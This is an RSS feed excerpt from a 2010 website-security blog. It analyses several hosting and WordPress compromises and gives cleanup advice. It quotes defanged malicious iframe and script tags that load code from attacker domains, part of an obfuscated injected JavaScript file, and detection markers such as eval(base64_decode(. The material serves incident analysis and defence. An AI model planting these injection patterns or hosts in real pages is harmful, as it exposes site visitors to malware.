<p>In this case, it is clear that webmasters can&#8217;t permanently resolve the problem until RackSpace locates and closes the security hole in their infrastructure. However, you can mitigate the damages from this attack if you act fast.</p>
<p>If you have a WordPress blog on a RackSpace Cloud, make sure to thoroughly check your site. Start with an <a href="http://www.UnmaskParasites.com">Unmask Parasites scan</a>. It can reveal the malicious external scripts, iframes and cloaked spammy links in your web pages.</p>
<p>In this case, scan the index page of your blog as the malicious code is injected into the most recent (at the time of the attack) post. If you publish more than 5-10 posts a day, you might also want to scan a couple of pages of previous posts.</p>
<p>Note, that in case of found scripts from <span style="color: #993300;"><em>smartenergymodel .com</em></span>, <em><span style="color: #993300;">toolbarinc .com</span></em>, and <em><span style="color: #993300;">emapis .org</span></em> &#8211; Unmask Parasites doesn&#8217;t mark them as suspicious (since they are not currently blacklisted by Google), so you should thoroughly look through reports even if Unmask Parasites says that your pages <em>seem</em> to be clean. Anything that you didn&#8217;t add to your site yourself should be considered as suspicious.</p>
<p>If your site is compromised you should:</p>
<ol>
<li>Scan you server for suspicious files and directories. Pay a special attention to files that contain base64-encoded strings. They usually contain code that starts with <span style="color: #993300;">eval(base64_decode(</span>&#8230; If you have a fresh backup, consider removing everything and then restoring your site from a clean backup copy.</li>
<li>Check WordPress and theme files for integrity. If you are not sure, just upgrade WordPress (even if it is the latest version already) or re-upload a genuine version of  the theme (get it from either WorPress theme repository or from its author&#8217;s site)</li>
<li>Now that your WordPress version is at least 2.9.2  (the stable version at the moment), log into your WordPress admin interface and check if there is a user with name <span style="color: #993300;"><strong>amin</strong></span>. You should delete it. Then change passwords of existing WordPress users.</li>
<li>Then check the content of your recent posts. At the very top of affected records you&#8217;ll see a malicious script inside  <span style="color: #993300;">&lt;h5&gt;..&lt;/h5&gt;</span> tags. You should remove such scripts. Please use something like NoScript in your browser so that those script don&#8217;t have a chance to get executed. Or use something like phpMyAdmin to check and clean the values of the &#8220;<strong>post_content</strong>&#8221; field in the mySql table &#8220;<strong>&lt;your-prefix&gt;_posts</strong>&#8220;.<br />
If you didn&#8217;t publish new articles during the last couple of weeks and have a fresh backup of the WordPress database, the easiest way to clean up your database is to restore a clean copy from a backup.</li>
<li>Now consider changing mySql passwords. Just in case.</li>
<li>Check your site every day. At least for a week. I&#8217;ve seen websites that had been cleaned up only to be reinfected a few hours later.</li>
<li>Regularly check <a href="http://status.mosso.com/">RackSpace system status</a>. They may post important updates there.</li>
</ol>
<p><em><strong><span id="update1" style="color: #808080;">Update (June 15, 2010):</span> </strong>Michael VanDeMar noticed that hackers also inject an encrypted backdoor PHP script into &#8220;</em><em>wp_options&#8221; table. Among other things, it allows to modify WordPress database and inject spammy links into blog pages. For details on how to find the malicious DB entry please read <a href="http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/">his artcile</a>.</em></p>
<p>On my side, I&#8217;ll send everything I know about this issue to security department of RackSpace. Hope they&#8217;ll be able to address this issue ASAP.</p>
<h3>Your comments are welcome!</h3>
<p>Do you have any additional information about this attack? I encourage you to take part in the discussion in comments.</p>
<p><span style="color: #808080;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/04/11/network-solutions-and-wordpress-security-flaw/">Network Solutions and WordPress Security Flaw</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/">Hackers Abuse Servage Hosting to Poison Google Image Search</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/feed/</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Malware on Hijacked Subdomains. New Trend?</title>
		<link>http://blog.unmaskparasites.com/2010/05/22/malware-on-hijacked-subdomains-new-trend/</link>
		<comments>http://blog.unmaskparasites.com/2010/05/22/malware-on-hijacked-subdomains-new-trend/#comments</comments>
		<pubDate>Sat, 22 May 2010 14:23:55 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[GoDaddy]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[Phishing]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=628</guid>
		<description><![CDATA[Yesterday, Patrick (aka Noxwizard, phpBB support team member) pointed me at the new malware attack that surfaced this week (first mentioned on May 16th).
The attack creates/modifies .htaccess files to redirect site visitors that come from major search engines and popular websites (e.g. Twitter, Facebook, Wikipedia, Flickr, Ebay, etc) to scareware sites that aggressively push fake [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, Patrick (aka Noxwizard, phpBB support team member) pointed me at the <a href="http://www.phpbb.com/community/viewtopic.php?f=46&amp;t=2091860" target="_blank">new</a> <a href="http://forum.joomla.org/viewtopic.php?f=432&amp;p=2149520" target="_blank">malware</a> <a href="http://www.rowl.dk/Forum/30681" target="_blank">attack</a> that surfaced this week (first mentioned on May 16th).</p>
<p>The attack creates/modifies .htaccess files to redirect site visitors that come from major search engines and popular websites (e.g. Twitter, Facebook, Wikipedia, Flickr, Ebay, etc) to scareware sites that aggressively push fake anti-virus software. The redirects also occur if visitors request unexisting pages or pages that produce server errors.</p>
<p>This .htaccess conditional redirect approach is nothing new. It has been actively exploited by hackers for at least <a href="http://blog.unmaskparasites.com/tag/htaccess/">couple of years</a> (and <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> does a good job of detecting such redirects). And while the .htaccess code in this particular case has some new features (maybe more about it next time), it isn&#8217;t the most interesting thing about this attack.<br />
<span id="more-628"></span></p>
<h3 id="subdomains">Suspicious subdomains</h3>
<p>Thanks to the Google search suggested by Patrick  (<a href="http://www.google.com/search?q=%22main.php%3Fe%3D4%26h%22" target="_blank">&#8220;main.php?e=4&amp;h&#8221;</a>) I was able to analyze the .htaccess code from multiple compromised sites. They all redirected to different scareware sites, but all those sites had similarly strange subdomains:  <span style="color: #333333;"><em><strong>www2</strong></em></span>, <em><span style="color: #333333;"><strong>dns</strong></span></em>, <span style="color: #333333;"><em><strong>ns1</strong></em></span>, <em><span style="color: #333333;"><strong>ns2</strong></span></em>.</p>
<p>Here&#8217;s a list of 12 such sites that I found:</p>
<ul>
<li><strong>www2.</strong>smoothsouthernsoulandblues .com</li>
<li><strong>dns.</strong>thesoulfoodcafe .com</li>
<li><strong>ns2.</strong>landmarkengineering .net</li>
<li><strong>ns2.</strong>lighthouseusa .net</li>
<li><strong>ns1.</strong>ptrtool .com</li>
<li><strong>ns2.</strong>doballoons .com</li>
<li><strong>ns1.</strong>vimoka .net</li>
<li><strong>ns2.</strong>vimoksha .org</li>
<li><strong>www2.</strong>shopezlive .com</li>
<li><strong>ns1.</strong>asmartmovehi .com</li>
<li> <strong>ns1.</strong>chestermoon .com</li>
<li> <strong>ns2.</strong>moonlightingelectric .com</li>
<li><strong>ns</strong>.southernsoulnetwork .com <span style="color: #888888;"><em>(added on May 23, 2010)</em></span></li>
<li><strong>ns2.</strong>sxm22 .com<span style="color: #888888;"><em> (added on May 24, 2010)</em></span></li>
<li><strong>my.</strong>layouts2go .com  at 95.211.131.185 (<span style="color: #888888;"><em>added on May 24, 2010</em></span>)</li>
<li><strong>ww</strong>.vailconstruction.net at 95.211.131.185 (<em><span style="color: #888888;"><em>added  on May 27, 2010</em></span></em>)</li>
<li><strong>www2.</strong>dsc-show .com (<span style="color: #888888;"><em><em><em>added   on June 1, 2010</em></em></em></span>)</li>
<li><strong>wwww</strong>.natebennettfleming .com (<span style="color: #888888;"><em><em>added   on June 1, 2010</em></em></span>)</li>
<li><strong>wwww</strong>.artsrental .in (<span style="color: #888888;"><em>added on June 22, 2010</em></span>)</li>
<li><strong>wwww</strong>.causeof .org (<span style="color: #888888;"><em>added on June 22, 2010</em></span>)</li>
<li><strong>ns2</strong>.tiredwolfhome .com (<span style="color: #888888;"><em>added on June 22, 2010</em></span>)</li>
<li><strong>wiki</strong>.nahorodny .com (<span style="color: #888888;"><em>added on July 9, 2010</em></span>)</li>
<li><strong>wwww</strong>.artrentals .in (<span style="color: #888888;"><em>added on July 14, 2010</em></span>)</li>
<li><strong>top</strong>.reliablebanner.com (<span style="color: #888888;"><em>added on July 22, 2010</em></span>)</li>
<li><strong>wiki</strong>.electnate.com <span style="color: #888888;">(<em>added on July 22, 2010</em></span>)</li>
</ul>
<p>This is definitely just a tip of an iceberg (something that has been posted by webmasters who care to share information about their problems during the last week) and there may be much more such sites.</p>
<p>All these subdomains point to the same IP: <span style="color: #333333;"><strong>195 .2 .253 .42</strong></span> (Madet Ltd, Russia). At the same time the main (second level) domains point to absolutely different IPs. Some of them are legitimate websites and some are just parked domains.</p>
<h3 id="dns">DNS lookup: rogue A records</h3>
<p>The <a href="http://en.wikipedia.org/wiki/Domain_Information_Groper" target="_blank">dig</a> command shows that those subdomains are configured as <span style="color: #333333;"><strong>A records</strong></span> in domains&#8217; DNS settings.</p>
<p>For example, let&#8217;s take the parked <em>lighthouseusa.net</em> domain. It&#8217;s A record point to GoDaddy&#8217;s parking service:</p>
<p><code>lighthouseusa.net.    3600    IN    A    68.178.232.100</code></p>
<p>but if you dig the <em>ns2.lighthouseusa .net</em> subdomain, you&#8217;ll see another A record:</p>
<p><code>ns2.lighthouseusa.net.    1800    IN    A    195.2.253.42</code></p>
<p>This means that hackers have access to and can modify DNS records of those second level domains.</p>
<h3 id="godaddy">Stolen GoDaddy accounts</h3>
<p>Apparently, all those second level domains are registered via GoDaddy and use GoDaddy&#8217;s name servers.</p>
<p>They belong to different people, but some of them have the same owner (e.g <em>smoothsouthernsoulandblues.com</em> and <em>thesoulfoodcafe.com</em>, or <em>vimoka.net</em> and <em>vimoksha.org</em>). This makes me think that hackers used stolen credentials from GoDaddy accounts.</p>
<h3 id="phishing">Phishing or malware?</h3>
<p>Most likely the credentials theft was a result of a <a href="http://en.wikipedia.org/wiki/Phishing" target="_blank">phishing attack</a>. If you google for <a href="http://www.google.com/search?q=GoDaddy+phishing">GoDaddy phishing</a> you will see a lot of messages about emails &#8220;from GoDaddy&#8221; that ask you to change/update some records and point to phishing pages that look exactly like GoDaddy.com.</p>
<p>Alternatively, hackers could use malware (keyloggers or browser add-ons) that steal credentials when people log into their GoDaddy accounts from infected computers.</p>
<h3 id="trend">Is it a trend?</h3>
<p>It is clear that hackers have figured out that subdomains of legitimate websites is an almost infinite source of free domain names for their attack sites.  With access to DNS settings, they can create arbitrary sub-domains that point to their own servers. Such subdomains can hardly be noticed by domain owners who rarely check their DNS records after the initial domain configuration. And they cost nothing to hackers.</p>
<p>I wonder if using hijacked subdomains of legitimate websites is a new trend in malware distribution or just a temporarily solution that won&#8217;t be widely adopted by cybercriminals in the long run(like <a href="http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/">dynamic DNS domains last September</a>).</p>
<h3 id="owners">To domain owners</h3>
<p>At this point, domain owners should be aware of this problem and be serious about protecting their account credentials.</p>
<p>Don&#8217;t trust emails that ask you to change/confirm account information. Always double check that they are genuine and lead to genuine websites. Also make sure that your computers are malware free.</p>
<p>To be on the safe side, check DNS settings of your domains for rogue records and change your account password.</p>
<h3 id="feedback">Have your say</h3>
<p>What do you think about serving malware from hijacked subdomains of legitimated websites? Is this approach viable? Do you know any other attacks that involve hacked DNS records? Maybe you have details about this particular attack?</p>
<p>Your comments are welcome.</p>
<p><strong>Related posts:</strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/06/17/malware-on-hijacked-subdomains-part-2/">Malware on Hijacked Subdomains. Part 2.</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/">Dynamic DNS and Botnet of Zombie Web Servers</a></li>
<li><a href="http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/">Bogus Antivirus 2009 .htaccess Exploit</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/05/22/malware-on-hijacked-subdomains-new-trend/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>NewGeoCheck.js and Malicious AddThiss .net Iframe</title>
		<link>http://blog.unmaskparasites.com/2010/05/19/newgeocheck-js-and-malicious-addthiss-net-iframe/</link>
		<comments>http://blog.unmaskparasites.com/2010/05/19/newgeocheck-js-and-malicious-addthiss-net-iframe/#comments</comments>
		<pubDate>Wed, 19 May 2010 21:43:05 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[addthiss]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[GeoChecker]]></category>
		<category><![CDATA[milestone]]></category>
		<category><![CDATA[newgeocheck.js]]></category>
		<category><![CDATA[obfuscated script]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=626</guid>
		<description><![CDATA[Yesterday, I checked one site that had the following text on its Google Safe Browsing diagnostic page:
Malicious software is hosted on 1 domain(s), including addthiss .net/.
Unmask Parasites didn&#8217;t detect anything suspicious but a quick manual check revealed the following script tag right after the &#60;body&#62; tag in every web page:
&#60;sc ript type="text/javascript" src="newgeocheck.js"&#62;&#60;/script&#62;
(Unmask Parasites doesn&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, I checked one site that had the following text on its Google Safe Browsing diagnostic page:</p>
<blockquote><p>Malicious software is hosted on 1 domain(s), including <span style="color: #993300;">addthiss .net/</span>.</p></blockquote>
<p><a href="http://www.UnmaskParasites.com">Unmask Parasites</a> didn&#8217;t detect anything suspicious but a quick manual check revealed the following script tag right after the &lt;body&gt; tag in every web page:</p>
<p><code>&lt;sc ript type="text/javascript" src="newgeocheck.js"&gt;&lt;/script&gt;</code></p>
<p><span style="color: #333333;"><em>(Unmask Parasites doesn&#8217;t check .js file, so no wonder it couldn&#8217;t detect the source of the problem)</em></span></p>
<p>This script loaded an invisible iframe form <em><span style="color: #993300;">addthiss  .net</span></em>.</p>
<p><code>&lt;i frame width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0" style="" src="hxxp://<strong>addthiss .net</strong>/ in.cgi?8"&gt;&lt;/iframe&gt;</code><br />
<span id="more-626"></span></p>
<h3>Here goes the real investigation&#8230;</h3>
<p>The <span style="color: #993300;">newgeocheck.js</span> file looked strange. Hackers usually inject their malicious code into legitimate <span style="color: #333333;"><strong>.js</strong></span> files or create their own <span style="color: #333333;"><strong>.js</strong></span> files. However, in this case the file content looked like a code of some legitimate JS library (that called itself <strong>GeoChecker 2.0.1</strong> ) with meaningful comments and variable names and at the same time it was 100% malicious.</p>
<p><code><span style="color: #808080;"><em>// GeoChecker 2.0.1<br />
// The current cookie code should be called first to ensure<br />
// that it takes precedence over any other logic</em></span><br />
var geocheck = true;<br />
<span style="color: #808080;"><em>// assumes that the language is based on the Language Tags specification standard RFC2616 from W3C<br />
// language-tag  = primary-tag '-' sub-tag (e.g. en-US)<br />
// primary-tag is an ISO-639 language abbreviation, sub-tag is an ISO-3166 country code</em></span><br />
var secureNewgeoB;if(secureNewgeoB!='' &amp;&amp; secureNewgeoB!='mIR'){secureNewgeoB='fKDE'};this.zAP=30722; ...</code></p>
<p>Well, I was puzzled and decided to check if there was a real JS library that uses a file with name newgeocheck.js. The results of the search contained only posts about similar hacks and &#8230; directory listings of improperly configured web sites.</p>
<p>Here&#8217;s the search that narrows down the results to hacked websites that allow directory listing (which is actually a security breach too) <a href="http://www.google.com/search?q=intitle%3A%22Index+of%22+newgeocheck.js" target="_blank">intitle:&#8221;Index of&#8221; newgeocheck.js</a> (be careful, the sites can still be dangerous).</p>
<p>These search results helped me learn more about the attack.</p>
<h3>Spread of the attack.</h3>
<p>The search currently returns <strong><span style="color: #333333;">500+</span></strong> search results. At the same time Google Safe Browsing diagnostic page for <a href="http://www.google.com/safebrowsing/diagnostic?site=addthiss.net/" target="_blank">addthiss .net</a> reports <strong><span style="color: #333333;">732</span></strong> infected domains. Given that only about <span style="color: #333333;"><strong>40%</strong></span> of the sites in those search result are currently blacklisted and that the search only returned mis-configured sites, I can safely estimate that there are at least a <em>couple of thousand</em> infected domains. Maybe significantly more.</p>
<h3>Dates</h3>
<p>Many web servers are configured to display file dates on directory listing pages. Those dates for the <span style="color: #993300;">newgeocheck.js</span> file show that all site have been infected in the period between the end of March and the middle of this April.</p>
<p>Moreover, there seems to have been two waves of the attack. One around <span style="color: #333333;"><strong>March 24-26</strong></span>, and the other around <span style="color: #333333;"><strong>April 12-13</strong></span> (Some search results show the March dates (cached), but when you visit the pages you see the April date).</p>
<h3>Existing JS files</h3>
<p>Directory listings also show that other <span style="color: #333333;"><strong>.js</strong></span> files (those that existed before the attack) are also infected with the modification of the same obfuscated script. The scripts are injected at the very bottom of <strong><span style="color: #333333;">.js</span></strong> files and usually end with a comment like this <span style="color: #993300;">//secured_20022002</span> (the number may be different)</p>
<h3>Speculation about the attack vector</h3>
<p>This is definitely not a vulnerability of some popular web application. The affected site are powered by various CMS&#8217;s and blog engines. Some websites are completely empty &#8211; you can see a lonely <span style="color: #993300;">newgeocheck.js</span> in an empty root directory.</p>
<p>At the same time this is not a server-wide or network-wide attack. The compromised sites are spread across many different IPs and networks.</p>
<p>On some sites I detected signs of other attacks that are known for using <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/"> stolen FTP credentials</a> (e.g. <a href="http://blog.unmaskparasites.com/2009/10/23/revenge-of-gumblar-zombies/">Gumblar</a>).</p>
<p>I also noticed that several sites of the same owner may be infected. This usually happens when hackers use site credentials stolen from webmasters&#8217; computers.</p>
<p>And while I don&#8217;t have any direct evidence (remember, I don&#8217;t have access to compromised sites and their logs), I&#8217;m almost sure that this attack used the FTP infection vector.</p>
<h3>CountInfo .com</h3>
<p>On some sites I found a modification of the &#8220;<span style="color: #993300;">addthiss .net</span>&#8221; attack. It doesn&#8217;t use the newgeocheck.js file and only injects a malicious script at the very bottom of existing <span style="color: #333333;"><strong>.js</strong></span> files. The script loads the following invisible iframe from <span style="color: #993300;">countinfo .com</span></p>
<p><code>&lt;ifr ame width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0" style="" src="hxxp://<strong>countinfo .com</strong>/ in.cgi?3"&gt;&lt;/ifr ame&gt;</code></p>
<p>Both <span style="color: #993300;">addthiss .net</span> and <span style="color: #993300;">countinfo .com</span> domains point to the same IP: <strong>109 .196 .143 .33</strong> (VLine Ltd, Moscow).</p>
<p>Reverse IP lookup also revealed some alternative domain name: <span style="color: #993300;">addthiss .cn</span>, <span style="color: #993300;">addthiss .com</span> and <span style="color: #993300;">addthiss .org</span> &#8211; these domains are also know for distributing malware.</p>
<h3>To webmasters</h3>
<p>If Google blacklists your site and the diagnostic page mentions <span style="color: #993300;">addthiss .net</span>, you should scan your site for</p>
<ul>
<li><span style="color: #993300;">newgeocheck.js</span> files in all directories (and remove them)</li>
<li>malicious code in your existing <strong>.js</strong> files (and remove it)</li>
<li><span style="color: #993300;">&lt;s cript type=&#8221;text/javascript&#8221; src=&#8221;newgeocheck.js&#8221;&gt;&lt;/script&gt;</span> string in your web pages (and remove it)</li>
</ul>
<p>If you find the newgeocheck.js on you server &#8211; your site have been attacked and your FTP credentials have been stolen.</p>
<p>Start with you own computer. Thoroughly scan it for malware. Then change all site passwords and keep them secure (<a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">don&#8217;t save them in your FTP programs</a>).</p>
<p>The next step is cleaning up your site. Usually the easiest way to do it is to remove everything and then restore the site from a fresh <span style="color: #333333;"><strong>clean</strong></span> backup copy. This way you don&#8217;t have to process each file individually and won&#8217;t omit any malicious code on your server.</p>
<p>When the site is clean, you might need (if it is blacklisted by Google) to request a malware review via <a href="https://www.google.com/webmasters/tools/home" target="_blank">Google Webmaster Tools</a> (<strong>Diagnostics</strong> -&gt; <strong>Malware</strong>). You can find more information about how to deal with Google malware warnings <a href="http://www.unmaskparasites.com/malware-warning-guide/">here</a>.</p>
<h3>Have Your Say</h3>
<p>If you know more about this attack, please share the details in the comments. Maybe you know other attacks that create .js file that mimic legitimate JavaScript libraries?</p>
<p>Your comments are welcome.</p>
<p><em><span style="color: #888888;">[Offtopic] This is my <strong>100</strong>th post on this blog!</span></em></p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/10/23/revenge-of-gumblar-zombies/">Revenge  of Gumblar Zombies</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/">From Hidden Iframes to Obfuscated Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/05/19/newgeocheck-js-and-malicious-addthiss-net-iframe/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>More About the Rogue Image Blogs on Servage Network&#8230;</title>
		<link>http://blog.unmaskparasites.com/2010/05/04/more-about-the-rogue-image-blogs-on-servage-network/</link>
		<comments>http://blog.unmaskparasites.com/2010/05/04/more-about-the-rogue-image-blogs-on-servage-network/#comments</comments>
		<pubDate>Tue, 04 May 2010 22:47:50 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[FlatPress]]></category>
		<category><![CDATA[hippocounter]]></category>
		<category><![CDATA[hotlinking]]></category>
		<category><![CDATA[Servage]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=618</guid>
		<description><![CDATA[This is the fifth article in the series about rogue blogs created by hackers inside legitimate websites of Servage clients. Millions of malicious web pages has seriously poisoned Google search results, redirecting visitors to scareware sites. You might want to read the previous posts first:

Hackers Abuse Servage Hosting to Poison Google Image Search (April 28, [...]]]></description>
			<content:encoded><![CDATA[<p>This is the fifth article in the series about rogue blogs created by hackers inside legitimate websites of Servage clients. Millions of malicious web pages has seriously poisoned Google search results, redirecting visitors to scareware sites. You might want to read the previous posts first:</p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/">Hackers Abuse Servage Hosting to Poison Google Image Search</a> (April 28, 2010)</li>
<li><a href="http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/">Internals   of Rogue Blogs</a> (March 17, 2010)</li>
<li><a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">Rogue   blogs redirect search traffic to bogus AV sites. Part 2</a> (November 27, 2009)</li>
<li><a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">Rogue   blogs regirect search traffic to bogus AV sites. Part 1</a> (November 26, 2009)</li>
</ul>
<p>In this post, I&#8217;ll describe how the new generation of rogue blogs works.<br />
<span id="more-618"></span></p>
<h3 id="history">Some history</h3>
<p>Hackers exploited some security hole of the Servage hosting provider and created rogue blogs deep in the directory structure of thousands legitimate websites of Servage clients. Depending on the <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">generation of the attack</a>, hackers used the same names for blog subdirectories: <em>blog</em>, <em>bmblog</em>, <em>bsblog</em>, <em>bmsblog</em>, <em>mdblog</em>.</p>
<p>Examples:</p>
<p style="padding-left: 30px;">example.com/proofs/tpl/<strong>mdblog</strong><br />
example.org/img/images/<strong>bmblog</strong><br />
example.net/gallery/albums/<strong>bsblog</strong></p>
<p>However, when security researchers <a href="http://www.cyveillanceblog.com/general-cyberintel/malware-google-search-results">found</a> and <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">described</a> this malicious network of blogs, Google started to actively remove them from their index. For example, the <a href="http://www.google.com/search?q=allinurl%3Abmblog%2Fcategory" target="_blank">allinurl:bmblog/category</a> search returned almost <strong>300,000</strong> results in November and today it only returns <strong>6</strong> results.</p>
<p>In November of 2009, cybercrooks began to unroll the <a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/">new type of spammy blogs</a> that will be described here.</p>
<h3 id="hotlinking">Hotlinking and keyword stuffing</h3>
<p>The blog posts hotlink 6-10 high-ranking images for a targeted  query.  The images are interspersed with short word combinations that  contain the targeted keyword. Each word combination is wrapped in  different HTML tags (supposedly, to make the <a href="http://en.wikipedia.org/wiki/Keyword_stuffing">keyword  stuffing</a> less obvious). Here is a short snippet of HTML for a page  that target word combinations with &#8220;Houston&#8221;:</p>
<p><code>...&lt;p&gt;&lt;img  src="http://somesite.com/Detoxy_Foot_pads/detox_foot_pads_box.jpg"  alt="houston tx band trade shows"/&gt;&lt;/p&gt;<br />
&lt;p&gt;&lt;b&gt;Private Schools Houston&lt;/b&gt;. &lt;u&gt;Ariel  Photo Houston&lt;/u&gt;. &lt;u&gt;Wedding Photography Houston  Texas&lt;/u&gt;. Houston Gun Shows.&lt;/p&gt;<br />
&lt;p&gt;&lt;img  src="http://anothersite.com/myspace/ricksnycann_back.jpg" alt="houston  texans cheerleaders"/&gt;&lt;/p&gt;<br />
&lt;ul&gt;<br />
&lt;li&gt;Houston Movie Theatres&lt;/li&gt;<br />
&lt;li&gt;&lt;b&gt;Hard Rock Cafe Houston&lt;/b&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;u&gt;Wife Swapping Houston&lt;/u&gt;&lt;/li&gt;<br />
&lt;/ul&gt;...</code></p>
<p>Apparently, this trick works. Somehow, these  crappy blogs with zero original content and no inbound links make it  into the first pages of Google image search results, prevail there  (sometimes, up to 100% positions) crowding out previously high-ranking  sites with the original content.  (<em>@Google: I hope you are already  working on the Image search update that addresses this issue.</em>)</p>
<h3 id="flatpress">FlatPress blogging engine</h3>
<p>In this generation of the attack, they changed the blogging engine. The new blogs are powered by FlatPress 0.909.</p>
<p>Here&#8217;s the description of this engine that I found on its site:</p>
<blockquote><p><a href="http://www.flatpress.org/home/">FlatPress</a> is an open-source standard-compliant multi-lingual extensible blogging engine which does not require a DataBase Management System to work.<br />
You don&#8217;t need MySQL because FlatPress stores all of its content on text files.<br />
All you need is some web space supporting PHP4 (or later).</p>
<ul>
<li> Standard-compliant (XHTML valid)</li>
<li>Plugin support</li>
<li>Widget system</li>
<li>Easy to customize with themes (powered by Smarty)</li>
</ul>
</blockquote>
<p>This is a more powerful and flexible engine that (as the previous engine) doesn&#8217;t require  database and thus is very easy to configure and can be installed on  almost any hosting with PHP support. At the same time it supports SEO-friendly URLs (pretty urls) and custom themes, that make different blogs look different (and less suspicious).</p>
<h3 id="url">URL structure</h3>
<p>These new blogs are installed the first level subdirectories of legitimate sites. The names of the subdirectories consists of some word (usually a human name) and some 4-5 digit number (this number seems to be unique throughout all the rogue blogs).</p>
<p style="padding-left: 30px;">example.com/<strong>sarah</strong>5689/<br />
example.net/<strong>learn</strong>2463/<br />
example.org/<strong>gulf</strong>4645/</p>
<p>Sometimes there may be more that one rogue blog installed into different subdirectories of the same site.</p>
<p>Since the blogs are powered by FlatPress, they all have FlatPress specific URL structure, which made it easy to come up with <a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/#searches">allinurl: Google searches</a> that helped reveal thousands of such malicious blogs.</p>
<p>Individual posts have the following URL structure:</p>
<p><span style="color: #993300;">/?x=entry:entryYYMMDD-HHMMSS</span>, where YYMMDD-HHMMSS is the date and the time of the post.</p>
<p>for example:  <span style="color: #993300;">/after6031/?x=entry:entry100405-151819</span> &#8211; this post was published on April 5, 2010 at 15:18.</p>
<p>The blogs also have archive pages, that list all posts (4-5 posts per page) for specified periods. They have the following URL structure:</p>
<p><span style="color: #993300;">/?x=y:YY;m:MM</span> &#8211; archive of posts published in MM month of YY year.</p>
<p>for example:</p>
<p><span style="color: #993300;">/?x=y:09;m:12</span> &#8211; archive of posts published in December of 2009<br />
<span style="color: #993300;">/?x=y:10;m:04</span> &#8211; archive of posts published in April of 2010</p>
<p>To access some particular archive page, we add the<strong> &amp;paged</strong> parameter</p>
<p><span style="color: #993300;">/?x=y:10;m:04&amp;paged=2</span> &#8211; the second page of the archive of posts published in April of 2010</p>
<h3 id="redirects">Redirects to Fake AV sites</h3>
<p>Each  blog page (except for &#8220;login&#8221; pages) contains a block of HTML code with malicious scripts (this time it is not even hidden from search engine bots)</p>
<p><code>&lt;!-- HippoCounter --&gt;<br />
&lt;script type="text/javascript"&gt;<br />
var kc_id = '32';<br />
&lt;/script&gt;<br />
&lt;script type="text/javascript" src="hxxp://<strong>hippocounter .info</strong>/counter/counter.js"&gt;&lt;/script&gt;<br />
&lt;!-- HippoCounter --&gt;<br />
&lt;script type="text/javascript" src="hxxp://<strong>adstatsviewer .in</strong>/counter.js?ad=1"&gt;&lt;/script&gt;</code></p>
